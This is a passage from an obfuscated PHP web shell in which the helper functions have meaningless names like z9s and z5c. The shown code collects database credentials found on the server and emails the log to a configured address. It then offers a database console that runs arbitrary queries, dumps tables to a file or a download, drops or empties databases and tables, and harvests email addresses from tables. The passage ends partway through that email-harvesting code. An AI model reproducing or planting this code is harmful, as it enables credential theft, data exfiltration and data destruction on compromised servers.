$tmp;$log.=$tmp;if(!@isset($final_arr[$file]))$final_arr[$file]=array($host,$user,$pass,$base);}}}}}unset($tct);}}echo z5q().z7u().z7g().z10w().z6d();if($dv_log==\"1\"&&$log!=''){@mail($dv_email,\"DBS|$saddr\",$log);}}if(@isset($final_arr)&&@count($final_arr)>0){echo z9m(\"2\").z7i(z9j(z9s(\"331\"),\"13\",\"2\").z9j(z9s(\"332\"),\"13\").z9j(z9s(\"333\"),\"13\").z9j(z9s(\"334\"),\"13\").z9j(z9s(\"335\"),\"13\",\"3\"));$tr=0;foreach($final_arr as $file=>$array){echo z6g(($tr%2?'0':'1'));$tc=@count($array);$dsoft='';if($tc==5){$tc=4;$dsoft=$array[$tc];}for($i=0;$i<$tc;$i++){echo z9j($array[$i],\"14\",($i==0?\"2\":\"\"));}echo z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_refresh\"=>\"1\",\"sql_server\"=>$array[0],\"sql_user\"=>$array[1],\"sql_pass\"=>$array[2],\"sql_db\"=>$array[3],\"sql_port\"=>\"3306\",\"sql_engine\"=>\"MySQL\"),z8v(z9s(\"336\"),\"7\").(($dsoft!='')?\" (\".$dsoft.\")\":''),1),\"14\",\"3\");echo z7u();$tr++;}}}if($act=='sql'){$hideconnect=0;$hmsg='';if(@isset($sql_act)&&$sql_act==\"logoff\"){z0u('sql_server');z0u('sql_user');z0u('sql_pass');z0u('sql_port');z0u('sql_engine');z0u('sql_session');z0u('sql_sort');}$sql_session=0;if(@isset($_SESSION['sql_session'])){if(!@isset($sql_refresh)||!$sql_refresh){$sql_server=$_SESSION['sql_server'];$sql_user=$_SESSION['sql_user'];$sql_pass=$_SESSION['sql_pass'];$sql_port=$_SESSION['sql_port'];$sql_engine=$_SESSION['sql_engine'];if(!@isset($sql_sort))$sql_sort=$_SESSION['sql_sort'];$sql_session=1;}else{z0u('sql_server');z0u('sql_user');z0u('sql_pass');z0u('sql_port');z0u('sql_engine');z0u('sql_session');z0u('sql_sort');}}if(!@empty($sql_server)&&!@empty($sql_port)&&!@empty($sql_user)&&@isset($sql_pass)&&!@empty($sql_engine)){if(!@isset($sql_db))$sql_db='';$sql=new my_sql();$sql->db=$sql_engine;$sql->host=$sql_server;$sql->port=$sql_port;$sql->user=$sql_user;$sql->pass=$sql_pass;$sql->base=$sql_db;if($sql->connect()){$hideconnect=1;if(!@isset($sql_sort))$sql_sort=\"0a\";$_SESSION['sql_server']=$sql_server;$_SESSION['sql_user']=$sql_user;$_SESSION['sql_pass']=$sql_pass;$_SESSION['sql_port']=$sql_port;$_SESSION['sql_engine']=$sql_engine;$_SESSION['sql_session']=1;$_SESSION['sql_sort']=$sql_sort;$hideconnect=1;$db_actions=array(\"select\"=>\"Select\",\"dump\"=>\"Dump\",\"drop\"=>\"Drop\");$table_actions=array(\"browse\"=>\"Browse\",\"dump\"=>\"Dump\",\"drop\"=>\"Drop\",\"empty\"=>\"Empty\",\"insert\"=>\"Insert\");echo z2b(z9m('2').z7i(z6x(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\"),z8v(z9s(\"352\"),(!@isset($sql_act)||!@in_array($sql_act,array(\"query\",\"emails\",\"serverstatus\",\"servervars\",\"processes\"))?\"12\":\"14\"))).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"query\",\"sql_db\"),z8v(z9s(\"353\"),(@isset($sql_act)&&$sql_act==\"query\"?\"12\":\"14\"))).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"emails\",\"sql_db\"),z8v(z9s(\"354\"),(@isset($sql_act)&&$sql_act==\"emails\"?\"12\":\"14\"))).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"serverstatus\"),z8v(z9s(\"355\"),(@isset($sql_act)&&$sql_act==\"serverstatus\"?\"12\":\"14\"))).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"servervars\"),z8v(z9s(\"356\"),(@isset($sql_act)&&$sql_act==\"servervars\"?\"12\":\"14\"))).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"processes\"),z8v(z9s(\"357\"),(@isset($sql_act)&&$sql_act==\"processes\"?\"12\":\"14\"))).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_act\"=>\"logoff\"),z8v(z9s(\"358\"),\"14\")),\"\")).z10w());if($sql_engine==\"MySQL\"){if(!@isset($sql_act)){if(@isset($sql_db)&&!@empty($sql_db)){$sql->base=$sql_db;if($sql->select_db()){$sql_act=\"db_act\";$db_act=\"select\";}else{$sql_act=\"showdb\";$sql_db=\"\";$sql->base=\"\";}}else{$sql_act=\"showdb\";}}$dbs=$sql->list_dbs();$db_list=array(''=>z9s(\"367\",@count($dbs)));foreach($dbs as $k=>$v)$db_list[$k]=$v;if($sql_act==\"db_act\"&&@isset($db_act)&&!@empty($sql_db)){switch($db_act){case 'dump':$sql_act=\"dump\";break;case 'drop':if(@isset($drop_confirm)&&$drop_confirm){$sql->query('DROP DATABASE '.$sql_db.';');$sql_act=\"showdb\";$sql_db=\"\";}else{$sql_act=\"dropdb\";}break;}}elseif($sql_act==\"table_act\"&&@isset($table_act)&&!@empty($sel_table)){switch($table_act){case 'dump':$sql_act=\"dump\";break;case 'drop':if(@isset($drop_confirm)&&$drop_confirm){$sql->base=$sql_db;if($sql->select_db()){$sql->query('DROP TABLE '.$sel_table.';');}$sel_table=\"\";$sql_act=\"db_act\";$db_act=\"select\";}else{$sql_act=\"droptable\";}break;case 'empty':if(@isset($empty_confirm)&&$empty_confirm){$sql->base=$sql_db;if($sql->select_db()){$sql->query('DELETE FROM '.$sel_table.';');}$sql_act=\"table_act\";$table_act=\"browse\";}else{$sql_act=\"empty\";}break;case 'insert':break;case 'delete':$sql->base=$sql_db;if($sql->select_db()){$sql->query('DELETE FROM '.$sel_table.' WHERE '.$sql_tbl_insert_q.' LIMIT 1;');}$table_act=\"browse\";break;}}if(!@in_array($sql_act,array(\"showdb\",\"query\",\"serverstatus\",\"servervars\",\"processes\",\"emails\"))){$db_submit_acts=$table_submit_acts='';foreach($db_actions as $dk=>$dv)$db_submit_acts.=z6p($dk,$dv,\"7\");foreach($table_actions as $tk=>$tv)$table_submit_acts.=z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\",\"table_act\"=>$tk,\"sql_db\",\"sel_table\"),z6p($tk,$tv,\"7\"));$table_submit_acts=z10e(z7i(z9j($table_submit_acts)),\"2\");$db_table=z10e(z7i(z6x(z8e(z9s(\"364\")).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"db_act\"),z4a(\"sql_db\",$db_list,\"0\",1).z4a(\"db_act\",$db_actions,\"1\").z8v(z9s(\"92\"),\"7\")))),\"2\");if(@isset($sql_db)&&!@empty($sql_db)){$sql->base=$sql_db;if($sql->select_db()){$table_list=array(''=>\"-\");$sql->query('SHOW TABLES FROM '.$sql_db.';');if($sql->get_result()){for($i=0;$i<$sql->num_rows;$i++){foreach($sql->rows[$i]as $rk=>$rv){$table_list[$rv]=$rv.\" (\".$sql->count_rows($rv).\")\";}}}$table_table=z10e(z7i(z6x(z8e(z9s(\"365\")).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"table_act\",\"sql_db\"),z4a(\"sel_table\",$table_list,\"0\",1).z4a(\"table_act\",$table_actions,\"1\").z8v(z9s(\"92\"),\"7\")))),\"2\");}}echo z2b((@isset($table_table)?array($db_table,$table_table):$db_table));if($sql_act==\"dropdb\"){echo z6d();echo z10e(z7i(z6x(z8e(z9s(\"437\",$sql_db)).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"db_act\",\"db_act\"=>\"drop\",\"sql_db\",\"drop_confirm\"=>\"1\"),z8v(z9s(\"21\"),\"7\")).z9c().z5c($back_form_actions,z8v(z9s(\"22\"),'7')))),\"2\");echo z6d();}elseif($sql_act==\"droptable\"){echo z6d();echo z10e(z7i(z6x(z8e(z9s(\"438\",$sel_table)).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"table_act\",\"table_act\"=>\"drop\",\"sql_db\",\"sel_table\",\"drop_confirm\"=>\"1\"),z8v(z9s(\"21\"),\"7\")).z9c().z5c($back_form_actions,z8v(z9s(\"22\"),'7')))),\"2\");echo z6d();}elseif($sql_act==\"empty\"){echo z6d();echo z10e(z7i(z6x(z8e(z9s(\"439\",$sel_table)).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"table_act\",\"table_act\"=>\"empty\",\"sql_db\",\"sel_table\",\"empty_confirm\"=>\"1\"),z8v(z9s(\"21\"),\"7\")).z9c().z5c($back_form_actions,z8v(z9s(\"22\"),'7')))),\"2\");echo z6d();}elseif($sql_act==\"dump\"){if(!@isset($dump_filename))$dump_filename=$tempdir.\"dump_\".@getenv(\"SERVER_NAME\").\"_db_\".@date(\"d-m-Y_H-i-s\").\".sql\";if(@isset($sql_db)&&!@empty($sql_db)){$sql->base=$sql_db;if($sql->select_db()){$table_list=array();$sql->query('SHOW TABLES FROM '.$sql_db.';');if($sql->get_result()){for($i=0;$i<$sql->num_rows;$i++){foreach($sql->rows[$i]as $rk=>$rv){$table_list[]=$rv;}}}}}if(!@isset($sql_tables)||@empty($sql_tables)){if(@isset($sel_table)&&!@empty($sel_table)){$sql_tables=$sel_table;}else{$sql_tables=(@count($table_list)>0?@implode(\",\",$table_list):\"\");}}elseif(@isset($table_list)&&@is_array($table_list)){$tmp_tables=@explode(\",\",$sql_tables);$sql_tables=\"\";foreach($tmp_tables as $tmp_table){$tmp_table=@trim($tmp_table);if(@in_array($tmp_table,$table_list)){$sql_tables.=$tmp_table.\",\";}else{break;}}if(@empty($sql_tables))$sql_tables=@implode(\",\",$table_list);}echo z2b(z9s(\"440\"));echo z9m(\"2\").z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"dump\",\"dump_confirm\"=>\"1\"),z5n().z7i(z5t(z9s(\"441\")).z9j(z4a(\"sql_db\",$db_list,\"7\",1))).z7i(z5t(z9s(\"442\")).z9j(z5w(\"sql_tables\",\"5\").(@isset($sql_tables)?@htmlspecialchars($sql_tables):\"\").z5q())).z7i(z5t(z9s(\"443\")).z9j(z5u(\"dump_filename\",$dump_filename,\"7\"))).z7i(z5t(z9c()).z9j(z5y(\"sql_save2file\",z9s(\"444\"),\"sql_save2file\").z9c().z5y(\"sql_download\",z9s(\"445\"),\"sql_download\"))).z7i(z5t(z9c()).z9j(z8v(z9s(\"446\"),\"7\"))).z5n()).z10w();if(@isset($dump_confirm)&&$dump_confirm){$fp=0;if(@isset($sql_save2file)&&$sql_save2file==\"1\"&&@isset($dump_filename)&&!@empty($dump_filename)){if(z4q($dump_filename))@unlink($dump_filename);$fp=@fopen($dump_filename,\"a\");}$dumping_arr=array();$tmp_tables=@explode(\",\",$sql_tables);foreach($tmp_tables as $tmp_table){$tmp_table=@trim($tmp_table);$dumping_arr[]=$tmp_table;}$dumping_arr=@array_unique($dumping_arr);$sql->base=$sql_db;if(!$sql->select_db()){echo z2b(z9s(\"447\"));}elseif(@count($dumping_arr)<1){echo z2b(z9s(\"448\"));}else{if(@isset($sql_download)&&$sql_download==\"1\"){@ob_clean();@header(\"Content-type: application\/octet-stream\");@header(\"Content-disposition: attachment; filename=\\\"\".@basename($dump_filename).\"\\\";\");foreach($dumping_arr as $dump_table){if($sql->dump($dump_table)){foreach($sql->dump as $v)echo $v.\"\\r\\n\";}}exit();}if(!@isset($sql_save2file)||$sql_save2file!=\"1\"){echo z9m('2').z6g().z6w().z5w('','1');foreach($dumping_arr as $dump_table){if($sql->dump($dump_table)){foreach($sql->dump as $v)echo@htmlspecialchars($v).\"\\r\\n\";}}echo z5q().z7g().z7u().z10w().z6d();}elseif($fp){foreach($dumping_arr as $dump_table){if($sql->dump($dump_table)){foreach($sql->dump as $v){if(!@fwrite($fp,$v.\"\\r\\n\")){@fputs($fp,$v.\"\\r\\n\");}}}}@fclose($fp);if(z4q($dump_filename)){echo z2b(z9s(\"449\",$dump_filename));}else{echo z2b(z9s(\"450\"));}}else{echo z2b(z9s(\"450\"));}}}}if($sql_act==\"table_act\"&&@isset($table_act)&&($table_act==\"browse\"||$table_act==\"insert\")&&@isset($sel_table)&&!@empty($sel_table)){$crows=$sql->count_rows($sel_table);$sql->parse_fields($sel_table);$cfields=$sql->num_fields;$fields=$sql->columns;if($table_act==\"insert\"){if(@isset($sql_tbl_insert_radio)&&!@empty($sql_tbl_insert_radio)){if($sql_tbl_insert_radio==1){$keys=\"\";$akeys=@array_keys($sql_tbl_insert);foreach($akeys as $v){$keys.=\"`\".@addslashes($v).\"`, \";}if(!@empty($keys)){$keys=@substr($keys,0,@strlen($keys)-2);}$values=\"\";$i=0;foreach(@array_values($sql_tbl_insert)as $v){if($funct=$sql_tbl_insert_functs[$akeys[$i]]){$values.=$funct.\" (\";}$values.=\"'\".@addslashes($v).\"'\";if($funct){$values.=\")\";}$values.=\", \";$i++;}if(!@empty($values)){$values=@substr($values,0,@strlen($values)-2);}$sql->query(\"INSERT INTO `\".$sel_table.\"` ( \".$keys.\" ) VALUES ( \".$values.\" );\");}elseif($sql_tbl_insert_radio==2){$set=z1r($sql_tbl_insert,\", \",$sql_tbl_insert_functs);$sql->query(\"UPDATE `\".$sel_table.\"` SET \".$set.\" WHERE \".$sql_tbl_insert_q.\" LIMIT 1;\");}$table_act=\"browse\";}else{echo z2b(array(\"INSERT INTO TABLE \".$sel_table),\"1\");if(!@isset($sql_tbl_insert)||!@is_array($sql_tbl_insert)){$sql_tbl_insert=array();}if(!@empty($sql_tbl_insert_q)){$sql->query(\"SELECT * FROM `\".$sel_table.\"` WHERE \".$sql_tbl_insert_q.\" LIMIT 1;\");$values=@mysql_fetch_assoc($sql->res);@mysql_free_result($sql->res);}else{$values=array();}echo z9l().z9b(\"act\",\"sql\").z9b(\"sql_server\").z9b(\"sql_user\").z9b(\"sql_pass\").z9b(\"sql_port\").z9b(\"sql_engine\").z9b(\"d\").z9b(\"sql_act\",\"table_act\").z9b(\"table_act\",\"insert\").z9b(\"sel_table\").z9b(\"sql_db\").z9b(\"sql_tbl_insert_q\").z9m(\"2\").z7i(z9j(\"Field\",\"13\",\"2\").z9j(\"Type\",\"13\").z9j(\"Function\",\"13\").z9j(\"Value\",\"13\",\"3\"));$sql->query(\"SHOW FIELDS FROM `\".$sel_table.\"`;\");$sql->get_result();for($i=0;$i<$sql->num_rows;$i++){$field=$sql->rows[$i];$name=$field[\"Field\"];if(empty($sql_tbl_insert_q)){$v=\"\";}echo z9f(z9j(z8e(@htmlspecialchars($name)),\"14\",\"2\").z9j($field[\"Type\"],\"14\").z9j(z4a(\"sql_tbl_insert_functs[\".@htmlspecialchars($name).\"]\",array(\"\"=>\"\",\"PASSWORD\"=>\"PASSWORD\",\"MD5\"=>\"MD5\",\"ENCRYPT\"=>\"ENCRYPT\",\"ASCII\"=>\"ASCII\",\"CHAR\"=>\"CHAR\",\"RAND\"=>\"RAND\",\"LAST_INSERT_ID\"=>\"LAST_INSERT_ID\",\"COUNT\"=>\"COUNT\",\"AVG\"=>\"AVG\",\"SUM\"=>\"SUM\",\" \"=>\"--------\",\"SOUNDEX\"=>\"SOUNDEX\",\"LCASE\"=>\"LCASE\",\"UCASE\"=>\"UCASE\",\"NOW\"=>\"NOW\",\"CURDATE\"=>\"CURDATE\",\"CURTIME\"=>\"CURTIME\",\"FROM_DAYS\"=>\"FROM_DAYS\",\"FROM_UNIXTIME\"=>\"FROM_UNIXTIME\",\"PERIOD_ADD\"=>\"PERIOD_ADD\",\"PERIOD_DIFF\"=>\"PERIOD_DIFF\",\"TO_DAYS\"=>\"TO_DAYS\",\"UNIX_TIMESTAMP\"=>\"UNIX_TIMESTAMP\",\"USER\"=>\"USER\",\"WEEKDAY\"=>\"WEEKDAY\",\"CONCAT\"=>\"CONCAT\"),\"5\"),\"14\").z9j(z6i(\"sql_tbl_insert[\".(@isset($name)?@htmlspecialchars($name):\"\").\"]\",(@isset($values[\"$name\"])?@htmlspecialchars($values[\"$name\"]):\"\"),\"7\"),\"14\",\"3\"),($i%2?'0':'1'));}echo z10w();$iradio='<input type=\"radio\" id=\"insert\" style=\"vertical-align: middle;\" name=\"sql_tbl_insert_radio\" value=\"1\"'.(@empty($sql_tbl_insert_q)?\" checked\":\"\").'><label for=\"insert\">'.z9s(\"405\").'<\/label>';if(!@empty($sql_tbl_insert_q)){$iradio.=z9c().z9s(\"406\").z9c().'<input type=\"radio\" id=\"save\" style=\"vertical-align: middle;\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><label for=\"save\">'.z9s(\"407\").'<\/label>';$iradio.=z9b(\"sql_tbl_insert_q\",@htmlspecialchars($sql_tbl_insert_q));}echo z2b($iradio.z9c(\"3\").z8v(z9s(\"408\"),\"7\"));echo z9z();}}if($table_act==\"browse\"){if(!@isset($sql_from)||!@is_numeric($sql_from))$sql_from=0;if(!@isset($sql_limit)||!@is_numeric($sql_limit))$sql_limit=50;if(!@isset($sql_page)||!@is_numeric($sql_page))$sql_page=0;$psql_sort=z5r($sql_sort);if($psql_sort[1]!='a'){$psql_sort[1]='d';}else{$psql_sort[1]='a';}if($psql_sort[0]>($cfields-1))$psql_sort[0]='0';$v=$psql_sort[0];if($crows>$sql_limit){$pages=@ceil($crows\/$sql_limit);$tmpsort=\"\";if(@is_array($fields)&&@isset($fields[$psql_sort[0]])){$tmpsort=' ORDER BY `'.$fields[$psql_sort[0]].'` '.($psql_sort[1]==\"a\"?'ASC':'DESC');}$table_limit=$tmpsort.' LIMIT '.($sql_limit*$sql_page).','.$sql_limit;}else{$table_limit='';$pages=0;}$ar_pages=array();for($i=0;$i<$pages;$i++){$ar_pages[$i]=z9s(\"397\").\" \".($i+1);}if(@count($ar_pages)<1)$ar_pages=array(\"0\"=>z9s(\"397\").\" 1\");echo z2b(array(z9s(\"395\",array($sel_table,$cfields,$crows)),z10e(z9f(z7e(($sql_page>0?z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\",\"table_act\",\"sql_db\",\"sel_table\",\"sql_page\"=>($sql_page==\"1\"?\"NULL\":($sql_page-1))),z8v(z9s(\"396\"),\"7\")):z8v(z9s(\"396\"),\"7\")).z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\",\"table_act\",\"sql_db\",\"sel_table\"),z4a(\"sql_page\",$ar_pages,\"1\",1).z8v(z9s(\"398\"),\"7\")).($sql_page<($pages-1)?z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\",\"table_act\",\"sql_db\",\"sel_table\",\"sql_page\"=>($sql_page+1)),z8v(z9s(\"399\"),\"7\")):z8v(z9s(\"399\"),\"7\")))),\"2\")),\"1\");$sql->query('SELECT * FROM '.$sel_table.$table_limit.';');if($sql->get_result()){echo z9m('2').z7p().z7k().z5x('',\"0\").z9m(\"2\").z7p().z7k();echo z9m('2');echo z6g();for($i=0;$i<@count($sql->columns);$i++){echo($i==0?z9j(z9s(\"62\"),\"13\",\"2\"):\"\").z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\",\"table_act\",\"sql_db\",\"sel_table\",\"sql_page\",\"sql_sort\"=>($psql_sort[0]==\"$i\"?\"$i\".($psql_sort[1]==\"a\"?\"d\":\"a\"):\"$i\".$psql_sort[1])),z8v($sql->columns[$i].($psql_sort[0]==\"$i\"?' '.($psql_sort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),\"13\",($i==(@count($sql->columns)-1)?'3':''));}echo z7u();$print_arr=array();for($i=0;$i<$sql->num_rows;$i++){if(@is_array($sql->rows[$i])){$tmparr=array();foreach($sql->rows[$i]as $rk=>$rv){$tmparr[]=$rv;}$print_arr[]=$tmparr;}}@usort($print_arr,\"z3i\");if($psql_sort[1]==\"d\"){$print_arr=@array_reverse($print_arr);}for($i=0;$i<@count($print_arr);$i++){echo z6g(($i%2?'0':'1'));$cr=0;foreach($print_arr[$i]as $rv){$w=\"\";for($a=0;$a<$sql->num_fields;$a++){$w.=\" `\".$sql->columns[$a].\"` = '\".@addslashes($print_arr[$i][$a]).\"' AND\";}if($a>0)$w=@substr($w,0,@strlen($w)-3);echo($cr==0?z9j(\"<nobr>\".z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"table_act\",\"sql_db\",\"sel_table\",\"sql_tbl_insert_q\"=>$w),z4a(\"table_act\",array(\"insert\"=>\"Edit\",\"delete\"=>\"Delete\"),\"3\").z8v(\"&raquo;\",\"6\")).\"<\/nobr>\",\"14\",\"28\"):\"\").z9j((@is_null($rv)?'NULL':@htmlspecialchars($rv)),\"14\",($cr==(@count($print_arr[$i])-1)?'3':''));$cr++;}echo z7u();}echo z10w().z7g().z7u().z10w().z5j().z7g().z7u().z10w();}}}elseif($sql_act==\"db_act\"&&@isset($db_act)&&$db_act==\"select\"&&@isset($sql_db)&&!@empty($sql_db)){echo z2b(z9s(\"366\",$sql_db),\"1\");$sql->query('SHOW TABLE STATUS;');if($sql->get_result()){$psql_sort=z5r($sql_sort);if($psql_sort[1]!='a'){$psql_sort[1]='d';}else{$psql_sort[1]='a';}if($psql_sort[0]>=$sql->num_fields)$psql_sort[0]='0';$v=$psql_sort[0];echo z9m('2').z7p().z7k().z5x('',\"0\").z9m(\"2\").z7p().z7k();echo z9m('2').z6g();for($i=0;$i<$sql->num_fields;$i++){echo z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\",\"db_act\",\"sql_db\",\"sel_table\",\"sql_page\",\"sql_sort\"=>($psql_sort[0]==\"$i\"?\"$i\".($psql_sort[1]==\"a\"?\"d\":\"a\"):\"$i\".$psql_sort[1])),z8v(($i==0?\"Table \":\"\").$sql->columns[$i].($psql_sort[0]==\"$i\"?' '.($psql_sort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),\"13\",($i==0?\"2\":($i==($sql->num_fields-1)?'3':''))).($i==0?z9j(z9s(\"369\"),\"13\",\"8\"):'');}echo z7u();$print_arr=array();for($i=0;$i<$sql->num_rows;$i++){if(@is_array($sql->rows[$i])){$tmparr=array();foreach($sql->rows[$i]as $rk=>$rv){$tmparr[]=$rv;}$print_arr[]=$tmparr;}}@usort($print_arr,\"z3i\");if($psql_sort[1]==\"d\"){$print_arr=@array_reverse($print_arr);}for($i=0;$i<@count($print_arr);$i++){echo z6g(($i%2?'0':'1'));$cr=0;foreach($print_arr[$i]as $rv){echo z9j((@is_null($rv)?'NULL':($cr==0?\"<nobr>\".z5c(array(\"act\"=>\"sql\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"d\",\"sql_act\"=>\"table_act\",\"sql_db\",\"sel_table\"=>$rv,\"table_act\"=>\"browse\"),z8v($rv,\"11\")).\"<\/nobr>\":@htmlspecialchars($rv))),\"14\",($cr==0?'2':($cr==(@count($print_arr[$i])-1)?'3':'')));if($cr==0)echo z9j(\"<nobr>\".z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"table_act\",\"sql_db\",\"sel_table\"=>$rv),z4a(\"table_act\",$table_actions,\"3\").z8v(\"&raquo;\",\"6\")).\"<\/nobr>\",\"14\",\"8\");$cr++;}echo z7u();}echo z10w().z7g().z7u().z10w().z5j().z7g().z7u().z10w();}}}if($sql_act==\"query\"){echo z2b(z9s(\"370\"));echo z9m(\"2\").z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"query\",\"query_confirm\"=>\"1\"),z5n().z7i(z5t(z9s(\"364\")).z9j(z5u(\"sql_db\",\"\",\"7\"))).z9f(z5t(z9s(\"370\")).z9j(z5w(\"sql_query\",\"5\").(@isset($sql_query)?@htmlspecialchars($sql_query):\"\").z5q())).z7i(z5t(z9c()).z9j(z8v(z9s(\"371\"),\"7\"))).z5n()).z10w();if(@isset($query_confirm)&&$query_confirm){if(@isset($sql_db)&&!@empty($sql_db)){$sql->base=$sql_db;if(!$sql->select_db()){echo z2b(z9s(\"447\"));}}$q_sql_error='';$q_sql_result='';if(@strlen($sql_query)>5){$q_sql_result.=z2b(z9s(\"394\"));switch($sql->query($sql_query)){case '0':$q_sql_result.=z2b(\"ERROR : \".$sql->error);break;case '1':if($sql->get_result()){$q_sql_result.=z9m('2').z7p().z7k().z5x('',\"0\").z9m(\"2\").z7p().z7k();foreach($sql->columns as $k=>$v)$sql->columns[$k]=@htmlspecialchars($v,ENT_QUOTES);$keys=\"\";$count_keys=@count($sql->columns);$key_num=0;foreach($sql->columns as $column){if($key_num==0){$keys.=z9j($column,\"13\",\"02\");}elseif($key_num==($count_keys-1)){$keys.=z9j($column,\"13\",\"03\");}else{$keys.=z9j($column,\"13\",\"0\");}$key_num++;}$q_sql_result.=z7i($keys);for($i=0;$i<$sql->num_rows;$i++){foreach($sql->rows[$i]as $k=>$v)$sql->rows[$i][$k]=@htmlspecialchars($v,ENT_QUOTES);$values=\"\";$count_values=@count($sql->rows[$i]);$value_num=0;foreach($sql->rows[$i]as $row){if($value_num==0){$values.=z9j($row,\"14\",\"2\");}elseif($value_num==($count_values-1)){$values.=z9j($row,\"14\",\"3\");}else{$values.=z9j($row,\"14\");}$value_num++;}$q_sql_result.=z7i($values,($i%2?'0':'1'));}$q_sql_result.=z7g().z7u().z10w().z5j().z7g().z7u().z10w();}break;case '2':$ar=$sql->affected_rows()?($sql->affected_rows()):('0');$q_sql_result.=z2b(\"AFFECTED ROWS: \".$ar);break;}}if($q_sql_result!=''){echo $q_sql_result;$q_sql_result='';}}}if($sql_act==\"emails\"){$emails=array();if(!@isset($emails_filename))$emails_filename=$tempdir.\"emails_\".@getenv(\"SERVER_NAME\").\"_db_\".@date(\"d-m-Y_H-i-s\").\".txt\";if(@isset($sql_db)&&!@empty($sql_db)){$sql->base=$sql_db;if($sql->select_db()){$table_list=array();$sql->query('SHOW TABLES FROM '.$sql_db.';');if($sql->get_result()){for($i=0;$i<$sql->num_rows;$i++){foreach($sql->rows[$i]as $rk=>$rv){$table_list[]=$rv;}}}}}if(!@isset($sql_tables)||@empty($sql_tables)){if(@isset($sel_table)&&!@empty($sel_table)){$sql_tables=$sel_table;}else{$sql_tables=(@count($table_list)>0?@implode(\",\",$table_list):\"\");}}elseif(@isset($table_list)&&@is_array($table_list)){$tmp_tables=@explode(\",\",$sql_tables);$sql_tables=\"\";foreach($tmp_tables as $tmp_table){$tmp_table=@trim($tmp_table);if(@in_array($tmp_table,$table_list)){$sql_tables.=$tmp_table.\",\";}else{break;}}if(@empty($sql_tables))$sql_tables=@implode(\",\",$table_list);}echo z2b(z9s(\"372\"));echo z9m(\"2\").z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"emails\",\"dump_confirm\"=>\"1\"),z5n().z7i(z5t(z9s(\"364\")).z9j(z4a(\"sql_db\",$db_list,\"7\",1))).z7i(z5t(z9s(\"373\")).z9j(z5w(\"sql_tables\",\"5\").(@isset($sql_tables)?@htmlspecialchars($sql_tables):\"\").z5q())).z7i(z5t(z9s(\"374\")).z9j(z5u(\"emails_filename\",$emails_filename,\"7\"))).z7i(z5t(z9c()).z9j(z5y(\"sql_save2file\",z9s(\"375\"),\"sql_save2file\").z9c().z5y(\"sql_download\",z9s(\"376\"),\"sql_download\"))).z7i(z5t(z9c()).z9j(z8v(z9s(\"377\"),\"7\"))).z5n()).z10w();if(@isset($dump_confirm)&&$dump_confirm){$fp=0;if(@isset($sql_save2file)&&$sql_save2file==\"1\"&&@isset($dump_filename)&&!@empty($dump_filename)){$fp=@fopen($emails_filename,\"w\");}$dumping_arr=array();$tmp_tables=@explode(\",\",$sql_tables);foreach($tmp_tables as $tmp_table){$tmp_table=@trim($tmp_table);$dumping_arr[]=$tmp_table;}$dumping_arr=@array_unique($dumping_arr);$sql->base=$sql_db;if(!$sql->select_db()){echo z2b(z9s(\"447\"));}elseif(@count($dumping_arr)<1){echo z2b(z9s(\"448\"));}else{foreach($dumping_arr as 